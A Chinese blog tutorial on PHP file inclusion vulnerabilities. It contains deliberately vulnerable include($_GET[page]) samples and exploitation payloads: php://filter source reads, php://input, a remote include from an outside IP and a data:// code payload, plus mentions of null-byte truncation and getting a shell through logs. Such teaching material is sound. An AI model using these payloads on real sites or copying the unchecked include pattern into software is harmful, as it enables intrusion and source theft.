Web安全之文件包含漏洞

最新推荐文章于 2024-09-11 18:11:29 发布

刘三羊

最新推荐文章于 2024-09-11 18:11:29 发布

阅读量2.8k

点赞数 2

分类专栏：网络安全文件包含漏洞

本文链接：https://blog.csdn.net/qq_37133717/article/details/94631028

版权

22 篇文章 4 订阅

订阅专栏

1 篇文章 0 订阅

订阅专栏

程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件。而无需再次编写，这种文件调用的过程一般被称为文件包含。
例如：include “conn.php”

PHP中常见包含文件函数

文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时，引用的文件名，用户可控，由于传入的文件名没有经过合理的校验，或者校验被绕过。

常见漏洞代码

if(isset($_GET[page])){
	 include $_GET[page];
}else{
	 include "home.php";
}

文件包含漏洞危害

文件包含漏洞的分类

当被包含的文件在服务器本地时，就形成的本地文件包含漏洞。
本地文件包含和远程文件包含造成漏洞的原因是一样的，当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话，则包含的文件可以是第三方服务器中的文件，这样就形成了远程文件包含漏洞。

本地文件包含利用

包含上传图片_001

<?php
if(isset($_GET[page])){
	  include($_GET[page]);
}else{
	  include 'show.php';
}
?>

包含上传图片_002

<?php
if(isset($_GET[page])){
	  include('./action/' . $_GET[page]);
}else{
	  include ./action/show.php';
}
?>

包含上传图片_003

<?php
if(isset($_GET[page])){
	 include('./action/'. $_GET[page] . '.php');
}else{
	 include './action/show.php';
}
?>

%00截断

路径长度截断

读服务器本地文件

读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

伪协议：

直接包含木马文件，可以是图片，txt,压缩包…
?page=php://input 接收post请求
需要开启仅需要开启 allow_url_include
?page=http://172.18.11.66/0831/1.txt
需要开启 allow_url_fopen,allow_url_include (远程包含)
?page=php://filter/read=convert.base64-
encode/resource=main.php (读取文件源码)
?page=data://text/plain,<?php phpinfo();?>
需要开启allow_url_fopen,allow_url_include

包含日志文件GetShell